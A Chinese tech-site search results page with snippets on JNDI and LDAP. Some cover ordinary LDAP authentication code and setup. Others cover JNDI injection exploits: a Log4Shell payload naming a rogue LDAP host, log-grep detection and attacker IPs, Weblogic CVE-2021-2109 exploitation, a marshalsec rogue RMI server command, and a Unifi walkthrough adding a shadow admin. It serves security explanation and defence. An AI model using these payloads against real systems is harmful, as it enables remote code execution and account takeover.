首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

JNDI与RMI、LDAP

JNDI到底是什么,实际上是java的一个api,通过JNDI可以对不同的目录系统做操作,将不同的目录系统(如RMI和LDAP)放入统一的一个接口中方便使用,其整体架构可看oracle官方文档[2]中给的图...: 在高版本 JDK,如 11.0.1、8u191、7u201、6u211 版本时加入了对于ldap的codebase的限制,因此在除了使用ref的利用方式之外,还可以利用SerializedData,...也默认置为false,此时只能选择使用SerializedData的方式。...总结 在JNDI注入中 就RMI而言: 在JDK8u113以及JDK6u132, JDK7u122版本以下,可以使用JNDI + RMI lookup Reference的利用方式。...就LDAP而言: 11.0.1、8u191、7u201、6u211 版本以下,可以使用JNDI + LDAP lookup Reference的利用方式。

1.4K40
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    使用java连接AD域,验证账号密码是否正确

    web项目中有时候客户要求我们使用ad域进行身份确认,不再另外做一套用户管理系统。其实客户就是只要一套账号可以访问所有的OA,CRM等办公系统。...一般有AD域,Ldap,Radius,邮件服务器等。最常用的要数AD域了。因为window系统在国内占据了大量的江山。做起来也很方便。 我这篇文章就是写,如何用java去实现AD域的身份验证。...(Context.SECURITY_CREDENTIALS, password); //AD的密码 HashEnv.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory..."); // LDAP工厂类 HashEnv.put("com.sun.jndi.ldap.connect.timeout", "3000");//连接超时设置为3秒 HashEnv.put(Context.PROVIDER_URL...System.out.println("身份验证成功!")

    2.8K30

    腾讯云ES:一键配置,LDAP身份验证服务来了!

    轻量目录访问协议LDAP(英文:Lightweight Directory Access Protocol),是一个运行在 TCP/IP 上的目录访问协议,您可通过集成ES和LDAP身份验证,实现统一的认证管理...使用限制 LDAP身份验证是Elasticsearch官方商业特性X-pack提供的高级功能,当前仅在白金版集群支持。其他版本集群如需使用,请先升级至白金版。...由于网络架构原因,2020年5月20号之前创建的集群不支持使用 LDAP。如需开启 LDAP 身份验证服务,可重新创建集群。...设置LDAP身份验证 登录腾讯云Elasticsearch 控制台,单击集群名称访问目标集群,跳转至基础配置页面。 在访问控制模块,单击身份验证的编辑按钮,进入身份验证设置界面。...配置LDAP用户角色权限 设置了LDAP身份验证后,LDAP用户还没有被分配任何权限,无法使用LDAP方式访问ES集群/Kibana,需要在Kibana中对LDAP用户进行角色映射。

    2.2K20

    JNDI 反击 - H2 数据库控制台中未经身份验证的 RCE

    我们从 Log4Shell 漏洞事件中得出的主要结论之一是,由于 JNDI 的广泛使用,必然会有更多的包受到与 Log4Shell 相同的根本原因的影响——接受任意 JNDI 查找 URL。...在这篇博文中,我们将展示我们在 H2 数据库中发现的几种攻击向量,它们允许触发远程 JNDI 查找,其中一个向量允许未经身份验证的远程代码执行。...这会导致未经身份验证的 RCE,因为在使用潜在恶意 URL 执行查找之前未验证用户名和密码。 默认情况下,只能从本地主机访问 H2 控制台。...我们已经确定了几个过程,但它们都具有相同的属性,这使得这种攻击媒介不那么严重——只有经过身份验证的 (DB) 管理员才能调用它们。...2.0.206 版通过将 JNDI URL 限制为仅使用(本地)java协议来修复 CVE-2021-42392 ,该协议拒绝任何远程 LDAP/RMI 查询。

    2.2K30

    如何使用openldap搭建LDAP服务篇1--初见LDAP

    LDAP是轻量目录访问协议,这个服务从老高进入360就一直在用,LDAP带来的好处真的是很多,你可以把它想象成为一个内网版的单点登录服务,可以让你使用同一组账户密码访问所有支持LDAP验证的系统,为企业的内部运维带来了极大的便利...不过想要自己独立搭建一个LDAP服务还是挺麻烦的!不过一旦搭建好了LDAP服务器,剩下的管理和运维就简单多了。 在搭建LDAP服务器前,我们必须需要了解一些LDAP的基本概念。...LDAP的特点 LDAP基于TCP/IP LDAP的结构用树来表示 LDAP读快写慢 Client/server模型,Server 用于存储数据,Client提供操作目录信息树的工具,LDIF格式 LDAP...一般存放路径为/etc/openldap/schema,一个条目的属性必须存在于已定义的schema中 LDIF LDAP Data Interchange Format LDIF 是一种普遍使用的文件格式...slapd -V > OpenLDAP: slapd 2.4.44 安装LDAP客户端工具 首先,配置好一个新的LDAP服务器后,老高建议优先使用一个GUI工具配置,在此老高推荐使用Apache Directory

    2.2K30

    Weblogic JNDI远程代码执行漏洞(CVE-2021-2109)

    0x01 漏洞描述 - Weblogic JNDI远程代码执行漏洞(CVE-2021-2109) - Weblogic Server是Oracle公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台...,经过身份验证的攻击者可以直接通过JNDI远程执行代码注入,未经授权的攻击者可以配合CVE-2020-14882或者CVE-2020-14750权限绕过漏洞执行任意代码。...Oracle WebLogic 12.2.1.4.0 Oracle WebLogic 14.1.1.0.0 0x02 漏洞等级 图片 0x03 漏洞验证 在VPS服务器设置对外开放1389和8080端口,使用...正常利用管理员帐号登录Weblogic Console控制台的情况下,通过BurpSuite抓取登录后带Cookie数据包进行JNDI注入: GET /console/consolejndi.portal...1764575979 Upgrade-Insecure-Requests: 1 注意:ldap://xxx.xxx.xxx;xxx:1389/的地址IP的第三个分隔符是;号。

    1.1K10

    php连接ldap服务器,使用PHP连接LDAP服务器

    大家好,又见面了,我是你们的朋友全栈君。 LDAP是一个用来发布目录信息到许多不同资源的协议。通常它都作为一个集中的地址本使用。LDAP最基本的形式是一个连接数据库的标准方式。...要特别注意的是,LDAP通常作为一个hierarchal数据库使用,而不是一个关系数据库。因此,它的结构用树来表示比用表格好。正因为这样,就不能用SQL语句了。...设置公共LDAP服务器的信息: 我们要做的第一件事情是定义所有欲搜索的LDAP服务器的信息: “LDAP_NAME” = 新的LDAP项目的名字 “LDAP_SERVER” = 新的LDAP项目的IP地址或者主机名...LDAP的查询语句语句可使用通配符‘*’。例如‘$stanley’将可以找出‘dan stanley’。...> 在我们的例子中,“$connect_id”是连接的识别号,$LDAP_SERVER是可能的ldap服务器数组, 而$SERVER_ID是由搜索表格得到的LDAP服务器变量。

    6.6K70

    针对流行的 Java 库 Log4j 的零日漏洞利用

    该漏洞 (CVE-2021-44228 ) 很关键,因为它可以被未经身份验证的对手远程利用来执行任意代码(远程代码执行 - RCE)。...如果攻击者发送特制消息(它包含类似 的字符串${jndi:ldap://rogueldapserver.com/a}),这可能会导致加载外部代码类或消息查找并执行该代码,从而导致称为远程代码执行 (RCE...一些 JVM 版本已经将此作为默认设置 您可以使用以下 Linux/Unix 命令在您的 Web 服务器日志中检查漏洞利用尝试 - 无论它们是否成功: sudo egrep -i -r '\$\{jndi...163.172.157.143:1389 # Rogue LDAP server 45.155.205.233:12344 # Rogue LDAP server 如果您使用基于 Snort 或 Suricata...(或兼容)的基于网络的 IDS,您可能需要使用规则来检测漏洞利用企图8 9。

    48430

    使用 Python-LDAP 操作 LD

    一年又快结束了,这周完成备份、升级之类的收尾工作,接下来就是6周的假期,没啥大安排,假期第1周去南非德班参加高性能计算会议,回来后和家人短途旅行,然后圣诞节在家休息学点新东西,比如修车什么的,几次痛苦经历告诉我出来玩迟早是要坏的...,对于 hiking/camping/road trip/4×4 这几个关键字的爱好者来说懂点维修常识是必须的。...去除所有打印和错误处理的代码后,用 Python-LDAP 操作 LDAP 的骨干代码其实很简单,就这么几行,唯一遇到的一个小麻烦就是折腾了一个多小时才知道 ‘TRUE’ 要大写(后面有说到)。...有个要注意的地方,我们的 LDAP 有个属性 active,用来判断用户帐号是否是激活的 attrs['active'] = ‘TRUE’,这里的 ‘TRUE’ 不能用小写的 ‘true’,刚开始被 LDAP...管理工具上的小写 ‘true’ 误导,老以为 Python 程序里也应该用小写,结果总报错。

    1.4K20

    fastjson中的jndi注入

    0x01 前言 前一章简单介绍了jndi注入的知识,这一章主要是分析一下fastjson 1.2.24版本的反序列化漏洞,这个漏洞比较普遍的利用手法就是通过jndi注入的方式实现RCE,所以我觉得是一个挺好的...JNDI注入实践案例。...,当在没有对应类的定义的情况下,通常情况下都会使用JSON.parseObject来获取数据。...而且在直接使用JSON.parseObject()方法反序列化json字符串的时候是不会调用对应对象的setXXX方法的,那么怎么才能让直接使用JSON.parseObject()反序列化的对象也调用setXXX...包,使用说明中有介绍,我们用该工具快速搭建一个rmi服务器,并把恶意的远程对象注册到上面,使用如下命令: java-cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServerhttp

    1.8K21

    连接LDAP服务器用户,使用 LDAP 服务器进行连接

    使用 LDAP 服务器进行连接 如果使用的是 Windows(Windows Mobile 除外)或 Unix 平台,则可以指定一个中央 LDAP 服务器来跟踪企业中的所有数据库服务器。...在 AIX 上配合使用 SQL Anywhere 与 LDAP 服务器 要配合使用 SQL Anywhere 11 与 AIX 6,必须在 /usr/lib 中创建链接,或者确保具有 LDAP 库的目录包括在...如果未使用 LDAP 参数指定完整路径,则该文件必须位于放置 SQL Anywhere 可执行文件的目录(例如,如果使用的是 Windows,则是 install-dir\bin32)中。...如果该文件的名称不是 ldap.ini,则必须使用 LDAP 参数指定文件名。 server 运行 LDAP 服务器的计算机的名称或 IP 地址。在 Unix 上,此值是必需的。...服务器枚举实用程序 (dblocate) 也使用 LDAP—LDAP 中列出的所有数据库服务器都将添加到返回的数据库服务器列表中。

    4.9K30

    Unifi Log4jshell漏洞利用

    首先,您需要从以下链接的 GitHub 存储库中克隆和构建工具 rogue-jndi: veracode-research / rogue-jndi 用于 JNDI 注入攻击的恶意 LDAP...该项目包含用于利用不安全的默认 Java JNDI API 的 LDAP 和 HTTP 服务器。...将主机名变量替换为您将运行命令的主机的公共或本地 IP。然后启动您的 rogue-jndi LDAP 服务器。...来发现,存储所有应用程序信息的MongoDB实例是在没有身份验证的情况下在localhost上监听的。这意味着一旦您拥有 shell 访问权限,您就可以读取本地 MongoDB 实例并对其进行修改。...成功破解的哈希如下图所示: image.png 后利用 - 影子管理员 或者,我们可以使用命令行界面轻松添加我们自己的影子管理员帐户。由于缺少身份验证,我们可以执行一系列命令来添加本地帐户。

    2.7K10
    领券